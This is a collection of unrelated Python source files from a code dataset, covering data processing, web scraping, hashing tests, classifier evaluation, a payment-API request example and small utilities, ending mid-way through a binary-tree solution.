#Read Data from Txt Files\r\n #when having dtype in reading.. Multi-Headers must be removed.\r\n Data = pd.DataFrame()\r\n\r\n #original line call when no chunk size is used\r\n #Data = pd.read_csv(FileName,header = None, skiprows = 6, sep = '\\t', engine='python', names =Col_Names, dtype = {Col_Names[2] : np.int8, Col_Names[3] : np.int8, Col_Names[4] : np.int8, Col_Names[0] : np.float16},usecols = [2,3,4])\r\n\r\n #Need to read in data in chunks to keep RAM spikes down\r\n for chunk in pd.read_csv(Input_FileName, header=None, skiprows=6, sep='\\t', engine='python', names=Col_Names, chunksize=ChunkSize):\r\n Data = pd.concat([Data, chunk], ignore_index=True)\r\n #print(Data) #print data table if needed for Debug\r\n\r\n\r\n #debug data types and sizes\r\n if Debug == 1:\r\n print('Initial types:')\r\n print(Data.dtypes)\r\n print(\"\")\r\n print('Data Size')\r\n print(Data.memory_usage())\r\n\r\n\r\n ##Search and Remove MultiHeader if necessary\r\n #Find all values in table that are not part of the inserted header and remove\r\n Data = Data.loc[(Data['Time-Sec'] != 'Interval=') & (Data['Time-Sec'] != 'ExcelDateTime=') & (Data['Time-Sec'] != 'TimeFormat=') & (Data['Time-Sec'] != 'DateFormat=') & (Data['Time-Sec'] != 'ChannelTitle=') & (Data['Time-Sec'] != 'Range=')]\r\n Data = Data.reset_index(drop=True) # Reset index values of dataframe\r\n\r\n\r\n #Adjust data types as there may have been headers in the original data thus was imported as objects\r\n for Ch_Name in Col_Names[2:]:\r\n #Data[Ch_Name] = pd.to_numeric(Data[Ch_Name],downcast='float') # Make all data columns numeric. Some may be objects after header removal\r\n Data[[Ch_Name]] = Data[[Ch_Name]].astype('float16') # Make all data columns numeric. Some may be objects after header removal\r\n #Data[[Ch_Name]] = Data[[Ch_Name]].astype('int8') # Make int8 if ram space is issue\r\n if Debug == 1:\r\n print(Data.dtypes)# Print data Type - Debug Only\r\n\r\n return Data\r\n\r\n\r\n\r\n\r\n\r\n\r\n#-----------------------------------------------------------------------------------------#\r\n# Calculate Dropout Data Rate and Write Data to Files\r\n# calc_data_drop\r\n# Inputs:\r\n #Data - Pandas Dataframe\r\n #OutputFileName - Verbose txt file output\r\n #OutputFileNamecsv - Dataframe csv output\r\n #Col_Names - Column names for iteration\r\n #Interval_float\r\n #Debug\r\n\r\n#Outputs:\r\n #OutputDataFrame - Panadas Dataframe that could be used for future procesing\r\n#-----------------------------------------------------------------------------------------#\r\n\r\n\r\ndef calc_data_drop(Data,Output_FileName,OutputDataFrameFileName, Col_Names, Interval_float,Debug):\r\n\r\n #-------------------------------------------------------------------------------------------#\r\n #Create Output DataFrame Info\r\n OutputCols = [\"Channel Name\", \"Total Elements\", \"Total Dropout Elements\", \"Record Time [Sec]\", \"Dropout Time [Sec]\", \"% Dropout\", \"Sample Rate [Sec]\",\"Start Date\",\"End Date\"]\r\n OutputDataFrame = pd.DataFrame(columns=OutputCols)\r\n #-------------------------------------------------------------------------------------------#\r\n\r\n #Setup Output file and Open for write\r\n outputfile = open(Output_FileName, 'a+') # open and append (or create if it doesn't exist) the output file for writing\r\n\r\n #Find start date and End date. We will write these to the file/finished data frame\r\n start_date = Data.loc[(Data.index[0]),Col_Names[1]] # Extract Start date - Date of first value\r\n end_date = Data.loc[(Data.index[-1]), Col_Names[1]] # Extract End date - Date of last value\r\n\r\n\r\n for Ch_Name in Col_Names[2:]: #Iterate through column list starting at Data Columns - Fist two columns are Time and Date\r\n #Ch_Name will be the Column name\r\n\r\n\r\n\r\n #Extract Data when values are 1\r\n f_data = Data.loc[Data[Ch_Name] == 1] # check specific col for high value\r\n f_data = f_data.reset_index(drop=True) #Reset index values of dataframe\r\n #print(len(f_data.index)) # print length of new table - Debug only\r\n #print(f_data)# extract all rows that are of value 1 - Debug only\r\n\r\n #calculate dropout rates\r\n Total_Elements = Data.index[-1] + 1\r\n Total_Filtered = f_data.index[-1] + 1\r\n Percent_Dropout = (Total_Filtered/Total_Elements)*100\r\n\r\n\r\n print(\"\")\r\n print(\"Channel Name: = \", Ch_Name)\r\n print(\"Total number of items in initial Frame = \", Total_Elements)\r\n print(\"Total Record Time\", Total_Elements*Interval_float, \"sec or \", (Total_Elements*Interval_float)/3600, \"hrs or \",(Total_Elements*Interval_float)/86400, \"Days\")\r\n print(\"Number of Filtered elements = \", Total_Filtered)\r\n print(\"Total Dropout Time\", Total_Filtered*Interval_float, \"sec or \", (Total_Filtered*Interval_float)/3600, \"hrs or \",(Total_Filtered*Interval_float)/86400, \"Days\")\r\n print(\"% Dropouts = \", Percent_Dropout,\"%\")\r\n print(\"Start Date = \", start_date)\r\n print(\"End Date = \", end_date)\r\n\r\n #Write to dataframe\r\n OutputDataFrame = OutputDataFrame.append({'Channel Name': Ch_Name, 'Total Elements': Total_Elements, 'Total Dropout Elements': Total_Filtered, 'Record Time [Sec]' : Total_Elements*Interval_float, 'Dropout Time [Sec]':Total_Filtered*Interval_float, '% Dropout': Percent_Dropout, 'Sample Rate [Sec]':Interval_float, 'Start Date':start_date,'End Date':end_date},ignore_index=True)\r\n\r\n\r\n\r\n #write to file # for text related outputs\r\n outputfile.write(\"\\n\")\r\n outputfile.write(\"Channel Name: = \" + str(Ch_Name) + \"\\n\")\r\n outputfile.write(\"Total number of items in initial Frame = \" + str(Total_Elements) + \"\\n\")\r\n outputfile.write(\"Total Record Time \" + str(Total_Elements*Interval_float) + \"sec or \"+ str((Total_Elements*Interval_float)/3600) + \"hrs or \"+ str((Total_Elements*Interval_float)/86400) + \"Days \\n\")\r\n outputfile.write(\"Number of Filtered elements = \" + str(Total_Filtered) + \"\\n\")\r\n outputfile.write(\"Total Dropout Time \" + str(Total_Filtered * Interval_float) + \"sec or \" + str((Total_Filtered * Interval_float) / 3600) + \"hrs or \" + str((Total_Filtered * Interval_float) / 86400) + \"Days \\n\")\r\n outputfile.write(\"% Dropouts = \" + str(Percent_Dropout) + \"% \\n\")\r\n outputfile.write(\"Start Date = \" + str(start_date) + \"% \\n\")\r\n outputfile.write(\"End Date = \" + str(end_date) + \"% \\n\")\r\n\r\n #----------------------------------------------------------------------------------------------------------------------#\r\n\r\n #\r\n #Output Processed DataFrame to file for future processing\r\n #print(\"OUTPUT DATA FRAME\") #Debug\r\n #print(OutputDataFrame) #Debug\r\n\r\n #OutputDataFrame.to_csv(OutputDataFrameFileName, sep='\\t') # Outputs dataframe. May remove index value if not needed\r\n OutputDataFrame.to_csv(OutputDataFrameFileName,index=False) # Outputs dataframe. May remove index value if not needed\r\n if Debug == 1:\r\n print(OutputDataFrame)\r\n\r\n #Close Txt File\r\n outputfile.close() #close output file\r\n return OutputDataFrame\r\n\r\n","sub_path":"Python/ProcessLabchartDropoutTxt.py","file_name":"ProcessLabchartDropoutTxt.py","file_ext":"py","file_size_in_byte":12075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"231465156","text":"#Some utility functions. There are lot of flattening and\n#reshaping of theta matrices, the input X matrix, etc...\n#Nicely shaped matrices make the linear algebra easier when developing,\n#but the minimization routine (fmin_cg) requires that all inputs\n\nimport numpy as np\n\ndef unrollParams(theta_set):\n v = []\n for t in theta_set:\n v.extend(t.flatten().tolist())\n return np.array(v)\n","sub_path":"ex8_anomaly detection_recommender sys/unrollutility.py","file_name":"unrollutility.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"522106908","text":"import re\nimport requests\nfrom bs4 import BeautifulSoup\n\nkeyword = input()\n\nurl = f\"https://search.shopping.naver.com/search/all.nhn?where=all&frm=NVSCTAB&query={keyword}\"\n\nresp = requests.get(url)\nsoup = BeautifulSoup(resp.text, \"html.parser\")\nresult = []\ntry:\n related_words = soup.find(\"div\", {\"class\": \"co_relation_srh\"}).find_all(\"li\")\nexcept AttributeError:\n related_words = []\nfor i in related_words:\n first_words = (i.get_text()).rstrip('\\n')\n second_words = (i.get_text()).strip()\n result.append(second_words)\nprint(result)","sub_path":"My_project/Before_Program/Second_works/keyword/naver_related.py","file_name":"naver_related.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"109846065","text":"import unittest\n\nfrom Projetos.CriptografiaDeSenha.criptografia_de_senha_bianca import CriptografiaSenha\n\nclass TestCriptografiaDeSenha(unittest.TestCase):\n\n cs = CriptografiaSenha()\n\n def test_hash_md5(self):\n #Cenario 1 entrada esperada\n self.assertTrue( self.cs.hash_md5('umasenhaqualquer'))\n\n #Cenario 2 comparando senhas\n senha1 = 'bianca'\n senha2 = 'bianca'\n saida1 = self.cs.hash_md5(senha1)\n saida2 = self.cs.hash_md5(senha2)\n self.assertEqual(saida1,saida2)\n\n #Cenario 3 entrada inesperado\n self.assertEqual(self.cs.hash_md5(123456), 0 )\n\n #Cenario 4 entrada Nula\n self.assertEqual(self.cs.hash_md5(None),0)\n\n\n def test_hash_hash_sha256(self):\n #Cenario 1 entrada esperada\n self.assertTrue( self.cs.hash_sha256('umasenhaqualquer'))\n\n #Cenario 2 comparando senhas\n senha1 = 'senhaa'\n senha2 = 'senhaa'\n saida1 = self.cs.hash_sha256(senha1)\n saida2 = self.cs.hash_sha256(senha2)\n self.assertEqual(saida1,saida2)\n\n #Cenario 3 entrada inesperado\n self.assertEqual(self.cs.hash_sha256(123456), 0 )\n\n #Cenario 4 entrada Nula\n self.assertEqual(self.cs.hash_sha256(None),0)\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"Projetos/CriptografiaDeSenha/test/test_criptografia_de_senha.py","file_name":"test_criptografia_de_senha.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"478190599","text":"import SVM\nimport os\nimport support_function\nimport knn\nimport bayes\n\n\n\"\"\"\nAuthor: Trinh Man Hoang\n:usage:\n 1. Load features have been extracted respected to the train_dev split order\n 2. Apply those feature to SVM model \n 3. Predict and evaluate\n 4. Store result into each lbval.txt and val.txt\n 5. Also print result by console\n\"\"\"\n\n\nRoot = 'db'\nSVM_score = 0\nKNN_score = 0\nBayes_score = 0\n\nfor data_direct in os.listdir(Root):\n\n folder_direct = os.path.join(Root, data_direct)\n #folder_direct = Root + data_direct + '/'\n X_train, Y_train = support_function.get_features_labels_from_folder(folder_direct,'train', 'xception')\n X_test, Y_test = support_function.get_features_labels_from_folder(folder_direct,'dev', 'xception')\n\n SVM_model = SVM.my_svm(X_train, Y_train)\n SVM_pred_labels = SVM_model.predict(X_test)\n SVM_batch_score = SVM_model.score(X_test, Y_test)\n\n KNN_model = knn.my_knn(5,X_train, Y_train)\n KNN_pred_labels = KNN_model.predict(X_test)\n KNN_batch_score = KNN_model.score(X_test, Y_test)\n\n Bayes_model = bayes.my_bayes( X_train, Y_train)\n Bayes_pred_labels = Bayes_model.predict(X_test)\n Bayes_batch_score = Bayes_model.score(X_test, Y_test)\n\n with open(os.path.join(folder_direct, \"lbval.txt\"), 'w+') as predict_result:\n predict_result.write('SVM\\n')\n for label in SVM_pred_labels:\n predict_result.write(str(label) + \"\\n\")\n predict_result.write('KNN\\n')\n for label in KNN_pred_labels:\n predict_result.write(str(label) + \"\\n\")\n predict_result.write('Bayes\\n')\n for label in Bayes_pred_labels:\n predict_result.write(str(label) + \"\\n\")\n\n\n with open(os.path.join(folder_direct, \"val.txt\"), 'w+') as score_file:\n score_file.write('SVM\\n')\n score_file.write(str(SVM_batch_score))\n score_file.write('KNN\\n')\n score_file.write(str(KNN_batch_score))\n score_file.write('Bayes\\n')\n score_file.write(str(Bayes_batch_score))\n\n\n\n\n SVM_score += SVM_batch_score\n KNN_score += KNN_batch_score\n Bayes_score += Bayes_batch_score\n print(\"SVM: \",SVM_batch_score)\n print(\"KNN: \", KNN_batch_score)\n print(\"Bayes: \", Bayes_batch_score)\n\n\n\nprint(\"Mean SVM score: \", SVM_score/len(os.listdir(Root)))\nprint(\"Mean KNN score: \", KNN_score/len(os.listdir(Root)))\nprint(\"Mean Bayes score: \", Bayes_score/len(os.listdir(Root)))\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"613264029","text":"from flask import Flask, render_template\nimport requests\nfrom hashlib import sha256\nimport os\nfrom time import gmtime\nimport urllib.parse\nfrom jwcrypto import jwk, jws\nfrom jwcrypto.common import json_encode, json_decode\nimport json\n\napp = Flask('example_passthrough')\n@app.route('/')\ndef payment_page():\n #Get token from server\n content_type = 'application/json; charset=utf-8'\n method = \"POST\"\n data = '{\"url\":\"/api/transactions/worldpay\",\"method\": \"POST\"}'\n payload = method + \"\\n\"\n payload = payload + get_content_sha256(data.encode('UTF-8')) + \"\\n\"\n payload = payload + 'content-type:' + content_type + \"\\n\"\n date = get_http_gmt()\n url = os.environ['TARGET_SERVER'] + \"/auth\"\n payload = payload + 'date:' + date + '\\n'\n payload = payload + f'x-pti-client-id:{os.environ[\"CLIENT_ID\"]}' + '\\n'\n payload = payload + urllib.parse.urlparse(url).path\n signature = sign(os.environ[\"CLIENT_ID\"], payload.encode('UTF-8'))\n resp = requests.post(url, data=data.encode('UTF-8'),\n headers={\"Content-Type\": content_type, \"Date\": date, \"x-pti-signature\": signature,\n \"x-pti-client-id\": os.environ[\"CLIENT_ID\"]})\n response_json = json.loads(resp.content)\n token = response_json[\"accessToken\"]\n return render_template('payment_page.html', token=token,\n fiatInUrl=os.environ['TARGET_SERVER'] + '/transactions/worldpay', clientId=os.environ[\"CLIENT_ID\"])\n\ndef get_content_sha256(data):\n m = sha256(data)\n return m.hexdigest().upper()\n\ndef sign(client_id, payload, compact=True):\n key = jwk.JWK.from_json(open(os.environ[\"KEY_FILE\"], 'rb').read())\n public_key = jwk.JWK()\n public_key.import_key(**json_decode(key.export_public()))\n jwstoken = jws.JWS(payload)\n jwstoken.add_signature(key, None,\n json_encode({\"alg\": \"RS512\",\n \"cid\": client_id,\n \"kid\": public_key.thumbprint()}), None)\n signed_payload = jwstoken.serialize(compact)\n return signed_payload\n\ndef get_http_gmt():\n \"\"\" Gets http gmt time. Returns a string.\"\"\"\n days = {0: \"Mon\", 1: \"Tue\", 2: \"Wed\", 3: \"Thu\", 4: \"Fri\", 5: \"Sat\", 6: \"Sun\"}\n months = {1: \"Jan\", 2: \"Feb\", 3: \"Mar\", 4: \"Apr\", 5: \"May\", 6: \"Jun\", 7: \"Jul\", 8: \"Aug\", 9: \"Sep\", 10: \"Oct\", 11: \"Nov\", 12: \"Dec\"}\n time = gmtime()\n http_time = [\"{day},\".format(day = days[time.tm_wday])]\n http_time.append(\"{:02}\".format(time.tm_mday))\n http_time.append(\"{month}\".format(month = months[time.tm_mon]))\n http_time.append(\"{year}\".format(year = time.tm_year))\n http_time.append(\"{:02}:{:02}:{:02}\" .format(time.tm_hour, time.tm_min, time.tm_sec))\n http_time.append(\"GMT\")\n return \" \".join(http_time)\n\n\ndef run_server():\n app.run(port=8000, threaded=True, host='0.0.0.0')\n\nif __name__ == '__main__':\n run_server()","sub_path":"examples/passthrough-example/example_passthrough.py","file_name":"example_passthrough.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"155074229","text":"from typing import List\nfrom phrasehunter.character import Character\n\n\nclass Phrase:\n def __init__(self, phrase: str):\n self.phrase = self.create_phrase_from_string(phrase)\n self.complete = False\n\n @staticmethod\n def create_phrase_from_string(raw_phrase) -> List:\n char_list = []\n for letter in raw_phrase:\n char_list.append(Character(letter))\n return char_list\n\n def check_complete(self):\n complete = True\n for character in self.phrase:\n if not character.guessed:\n complete = False\n break\n self.complete = complete\n\n def char_found(self, char: str) -> bool:\n found = False\n for character in self.phrase:\n if character.original.lower() == char.lower():\n found = True\n character.update_guessed()\n return found\n\n def render(self) -> str:\n phrase_string = \"\"\n for character in self.phrase:\n phrase_string += character.render() + \" \"\n return phrase_string\n\n def render_all(self):\n phrase_string = \"\"\n for character in self.phrase:\n phrase_string += character.original + \" \"\n return phrase_string\n\n\n\n\n","sub_path":"phrasehunter/phrase.py","file_name":"phrase.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"398564531","text":"# coding: utf-8\nimport os\nfrom face_detect.config import DATA_ROOT_PATH, MODEL_ROOT_PATH, LOG_ROOT_PATH\nfrom face_classifier import config\n\n\nclass Config(object):\n\n def __init__(self):\n self.data_root_path = os.path.join(DATA_ROOT_PATH, 'face-recognition')\n self.train_path = os.path.join(self.data_root_path, 'train')\n self.dev_path = os.path.join(self.data_root_path, 'dev')\n self.train_log = os.path.join(LOG_ROOT_PATH, 'face-recognition')\n\n # output tensor numbers of the model\n self.class_size = 2622 # len(os.listdir(self.train_path)) #\n # pre_train form face classifier model\n self.pre_train_model_path = config.Config().face_model_path\n self.model_path = os.path.join(MODEL_ROOT_PATH, 'face-recognition', 'face-recognition.h5')\n self.no_top_model_path = os.path.join(MODEL_ROOT_PATH, 'face-recognition', 'face-recognition_no_top.h5')\n","sub_path":"face_rec/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"129754910","text":"from typing import Any\nfrom ctypes import c_char_p, cdll, c_float, c_int, POINTER\n\n_simple = cdll.LoadLibrary(f\"simple\\simple\")\n\nprint_me = _simple.print_me\n\n_print_msg = _simple.print_msg\n_print_msg.argtypes = [c_char_p]\n_print_msg.restype = None\n\ndef print_msg(msg: Any) -> None:\n _print_msg(c_char_p(str(msg).encode(\"UTF-8\")))\n\n_add_two_nums = _simple.add_two_nums\n_add_two_nums.argtypes = [c_float, c_float]\n_add_two_nums.restype = c_float\n\ndef add_two_nums(num_a: float, num_b: float) -> float:\n return _add_two_nums(num_a, num_b)\n\n_sum_nums = _simple.sum_nums\n_sum_nums.argtypes = [POINTER(c_int), c_int]\n_sum_nums.restype = c_int\n\ndef sum_nums(nums: list[int]) -> int:\n nums_len = len(nums)\n nums_data = (c_int * nums_len)(*nums)\n return _sum_nums(nums_data, nums_len)","sub_path":"ctypes/simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"22957965","text":"from listings.models import Listing\nfrom django import template\n\nregister=template.Library()\n\n@register.simple_tag\ndef total_listings():\n return Listing.objects.count()\n\n@register.inclusion_tag('pages/index2.html')\ndef show_latest_house():\n latest_listings=Listing.objects.order_by('-list_date')[:100]\n return{'latest_listings':latest_listings}\n","sub_path":"pages/templatetags/house_tag.py","file_name":"house_tag.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"430857755","text":"\"\"\"Tests of command line interface\"\"\"\n\nimport os\nfrom click.testing import CliRunner\nfrom aiida_crystal_dft.cli.basis import basis_set\nfrom aiida_crystal_dft.tests import TEST_DIR\n\n\ndef test_predefined_basis_family(new_database):\n runner = CliRunner()\n result1 = runner.invoke(basis_set, ['createpredefined'])\n assert 'STO-6G, POB-DZVP, POB-DZVPP, POB-TZVP' in result1.output\n result2 = runner.invoke(basis_set, ['createpredefined'])\n assert 'Created 0 predefined basis families' in result2.output\n\n\ndef test_upload_to_basis_family(new_database):\n path = os.path.join(TEST_DIR, \"input_files\", \"311g\")\n runner = CliRunner()\n result1 = runner.invoke(basis_set, [\n 'uploadfamily', '--path', path, '--name', 'TEST'])\n assert result1.exit_code == 0\n result2 = runner.invoke(basis_set, [\n 'listfamilies'])\n assert \"TEST\" in result2.stdout\n result3 = runner.invoke(basis_set, [\n 'listfamilies', '-e', 'Ag'])\n assert \"TEST\" in result3.stdout\n result4 = runner.invoke(basis_set, [\n 'listfamilies', '-e', 'U'])\n assert \"No Basis Set family contains all given elements and symbols\" in result4.stdout\n","sub_path":"aiida_crystal_dft/cli/tests/test_cmnds.py","file_name":"test_cmnds.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"510731116","text":"from kivy.app import App\nfrom kivy.lang import Builder\nfrom kivy.app import StringProperty\n\nMILES_TO_KM = 1.609\n\n\nclass ConvertMilesKilometres(App):\n output_km = StringProperty()\n\n def build(self):\n \"\"\" build the Kivy app from the kv file \"\"\"\n self.title = \"Convert Miles to Kilometres\"\n self.root = Builder.load_file('convert_miles_km.kv')\n return self.root\n\n def handle_calculation(self, text):\n \"\"\" handle calculation (could be button press or other call), output result to label widget \"\"\"\n print(\"Handle calculation\")\n miles = self.convert_to_number(text)\n self.convert_miles_to_km(miles)\n\n def handle_increment(self, text, increment):\n print(\"Handle increment\")\n miles = self.convert_to_number(text) + increment\n self.root.ids.input_miles.text = str(miles)\n\n def convert_miles_to_km(self, miles):\n print(\"Convert miles to kilometres\")\n self.output_km = str(miles * MILES_TO_KM)\n\n\n @staticmethod\n def convert_to_number(text):\n \"\"\" Convert text to float, or 0.0 if invalid\"\"\"\n try:\n return float(text)\n except ValueError:\n return 0.0\n\nConvertMilesKilometres().run()\n","sub_path":"prac_07/convert_miles_km.py","file_name":"convert_miles_km.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"383383728","text":"# -*- coding: utf-8 -*-\nimport pandas as pd\nfrom scipy.io import wavfile\nimport re,glob,os\nimport pickle\nimport matplotlib\nmatplotlib.use('Agg')\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set(style=\"whitegrid\", palette=\"pastel\", color_codes=True)\n\n\n\nclass PrepAud2Vec():\n def readwav(self,wfile):\n fs, sig = wavfile.read(wfile)\n\n return sig,fs\n\n def getDur(self,filename,tiername,tgpath):\n\n filename_only = filename.split('/')[-1]\n tgfile = \"{}/{}.TextGrid\".format(tgpath,filename_only)\n\n with open(tgfile,'r',encoding='utf8') as f:\n mylist= f.read().split(tiername)[1].split('\\n')\n phonelist=['aa','c0','cc','ch','ee','h0','ii','k0','kf','kh','kk','ll','mf','mm','nf','ng','nn','oo','p0',\n 'pf','ph','pp','qq','rr','s0','ss','t0','tf','th','tt','uu','vv','wa','we','wi','wo','wq','wv',\n 'xi','xx','ya','ye','yo','yq','yu','yv']\n\n phone_col=[]\n dur_col=[]\n for idx,line in enumerate(mylist):\n if re.findall(r'[a-z]',line):\n phone_cand = re.findall(r'[a-z0-9]{2}',line)[0]\n if phone_cand in phonelist:\n phone = phone_cand\n if mylist[idx-2] != '\"\"' :\n phone_onset = float(mylist[idx-2])\n phone_offset = float(mylist[idx-1])\n phone_col.append(phone)\n dur = phone_offset-phone_onset\n dur_col.append(dur)\n return phone_col,dur_col\n\ndef getSubsetPhoneDur(subsetwavpath,tgpath):\n filepath = subsetwavpath\n subsetname = filepath.split('/')[-1]\n\n prepaud2vec = PrepAud2Vec()\n\n phone_all = [];dur_all = []\n wavlist=glob.glob(filepath+'/*wav')\n for count,file in enumerate(wavlist):\n totcount= len(wavlist)\n filename = file.split('.wav')[0]\n phone_info,dur_info = prepaud2vec.getDur(filename, 'phone',tgpath)\n phone_all = phone_all + phone_info\n dur_all = dur_all + dur_info\n if count % 100 == 0:\n print('processed wav file {} of {}'.format(count,totcount))\n\n phonelist = list(set(phone_all))\n durinfofin=dict()\n print(\"categorizing by phones\")\n for p in phonelist:\n indices = [i for i, x in enumerate(phone_all) if x == p]\n if len(indices) > 0:\n durlist = [dur_all[i] for i in indices]\n durinfofin[p]=durlist\n print(\"converting to df\")\n\n # convert to dataframe (long format)\n df_phonedur=pd.DataFrame(columns=['SUBSET','PHONE','DURATION'])\n for p in durinfofin.keys():\n for i,_ in enumerate(durinfofin[p]):\n df_phonedur = df_phonedur.append({'SUBSET':subsetname ,'PHONE': p, 'DURATION': durinfofin[p][i]}, ignore_index=True)\n\n\n return df_phonedur\n\n\n#################################################################################################################################################\n#RUN\n#################################################################################################################################################\n\ntgpath='/data/youngsunhere/A004_data/mz3_ALL'\nsubset_good='/data/youngsunhere/A004_data/mz3_GOOD750'\nsubset_bad='/data/youngsunhere/A004_data/mz3_BAD750'\nalldata='/data/youngsunhere/A004_data/mz3_ALL'\n\ndf_good = getSubsetPhoneDur(subset_good,tgpath)\ndf_bad = getSubsetPhoneDur(subset_bad,tgpath)\ndf_all = getSubsetPhoneDur(alldata,tgpath)\n\n#concat dfs\ndf_phonedur_multi = pd.concat([df_good,df_bad,df_all],ignore_index=True)\n\nwith open('mz3_all_goodbad750_dur.pkl','wb') as fp:\n pickle.dump(df_phonedur_multi,fp)\n\n#goodbad\n# plt.close()\n# fig, axes = plt.subplots(nrows=1, ncols=1, figsize=(30, 4))\n# sns.violinplot(x=\"PHONE\", y=\"DURATION\",hue=\"SUBSET\",split=True\n# ,palette={\"mz3_GOOD750\": \"b\",\"mz3_BAD750\": \"red\"}\n# ,inner=\"quart\",data=df_phonedur_multi)\n# plt.title(\"Phone Durations\",fontsize=20)\n# plt.savefig(\"dur_goodbad.png\",dpi=500)\n\n\n#goodbad\nplt.close()\nfig, axes = plt.subplots(nrows=1, ncols=1, figsize=(30, 4))\nsns.violinplot(x=\"PHONE\", y=\"DURATION\",hue=\"SUBSET\",split=True\n ,palette={\"mz3_ALL\": \"black\",\"mz3_GOOD750\": \"blue\"}\n ,inner=\"quart\",data=df_phonedur_multi)\nplt.title(\"Phone Durations\",fontsize=20)\nplt.savefig(\"dur_allgood.png\",dpi=500)\n\n\nplt.close()\nfig, axes = plt.subplots(nrows=1, ncols=1, figsize=(30, 4))\nsns.violinplot(x=\"PHONE\", y=\"DURATION\",hue=\"SUBSET\",split=True\n ,palette={\"mz3_ALL\": \"black\",\"mz3_BAD750\": \"red\"}\n ,inner=\"quart\",data=df_phonedur_multi)\nplt.title(\"Phone Durations\",fontsize=20)\nplt.savefig(\"dur_allbad.png\",dpi=500)\n","sub_path":"src/src_A004/duration.py","file_name":"duration.py","file_ext":"py","file_size_in_byte":4766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"116808331","text":"#coding=utf-8\nimport save_data_db as db_save\nimport re\nimport time\nfrom selenium import webdriver\n\n#爬取的飙升主页\nurl = 'http://music.163.com/#/discover/toplist'\n#开始抓取\nbrowser = webdriver.PhantomJS( )\nbrowser.set_window_size(1120, 550)\nbrowser.get(url) \nbrowser.switch_to.frame(browser.find_element_by_xpath(\"//iframe\"))\n#保存抓取的网页\nweb_data = browser.page_source\nbrowser.quit();\n#抓取music_id, music_name, music_author, music_pic\nre_music = r'title=\"收藏\">分享'\nmatch_musics = re.findall(re_music,web_data)\n#将抓取的数据保存至文件\n#print(match_musics, file=open('C:/Users\\welwel\\Desktop\\music.txt','a+',encoding='utf-8'))\nprint(\"开始连接数据库...\")\n#连接写入数据库\nconn, cur = db_save.connDB()\nprint(\"连接数据库成功...\")\n#写入数据库\nm_id = 1\nprint(\"开始写入...\")\n#打开图片文件夹\npic_dir = 'E:/html模板/pic_data/up_img/'\nfor music in match_musics:\n #拼接url\n #song_url = r'http://music.163.com/#/song?id=%s' % music[0]\n #此处不再调用web函数,有bug\n #song_data = web.get_web(song_url)\n #browser.get(song_url) \n #browser.switch_to.frame(browser.find_element_by_xpath(\"//iframe\"))\n #匹配评论\n #ele_com = browser.find_element_by_xpath(\"//div[@class='cnt f-brk']/img[not(@src)] and sup[not(@class)]]\")\n #music_id, music_name, music_author, music_pic, music_com, music_pic_id\n music_id = str(music[0])\n music_name = music[1].replace(\"'\", \".\")\n music_author = music[2].replace(\"'\", \".\")\n music_pic = music[3]\n music_pic_id = \"up_img\" + str(m_id) + '.jpg'\n #music_com = re.sub(r'', '', ele_com.text)\n #print(music_com)\n #将图片保存至本地\n #写入图片(url,pic_dir,pic_name)\n url = music_pic\n pic_name = music_pic_id\n db_save.save_pic(url, pic_dir, pic_name)\n #开始写入\n sql = \"INSERT INTO blog_up_music VALUES (%d, '%s', '%s', '%s', '%s', '%s')\" % (m_id, music_id, music_name, music_author, music_pic, music_pic_id)\n db_save.exeQuery(cur,conn,sql)\n m_id += 1\nprint(\"写入成功...\")\n\n#关闭数据库\ndb_save.connClose(cur,conn)\n\n \n","sub_path":"music_up_data.py","file_name":"music_up_data.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"269183549","text":"from collections import deque\n\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n def minDepth(self, root: TreeNode) -> int:\n if not root:\n return 0\n\n children = [root.left, root.right]\n\n if not any(children):\n return 1\n\n min_depth = float('inf')\n for c in children:\n if c:\n min_depth = min(self.minDepth(c), min_depth)\n return min_depth + 1\n\n def minDepth2(self, root: TreeNode) -> int:\n if not root:\n return 0\n\n if not root.left or root.left:\n return self.minDepth2(root.right) + self.minDepth2(root.left) + 1\n return min(self.minDepth2(root.left), self.minDepth2(root.right)) + 1\n\n def dfs(self, root: TreeNode) -> int:\n if not root:\n return 0\n\n stack = deque()\n stack.append((root, 1))\n min_depth = float('inf')\n\n while stack:\n node, depth = stack.pop()\n\n if not node.left and not node.right:\n min_depth = min(min_depth, depth)\n\n if node.right and not node.left:\n stack.append((node.right, depth + 1))\n\n if node.left and not node.right:\n stack.append((node.left, depth + 1))\n\n if node.left and node.right:\n 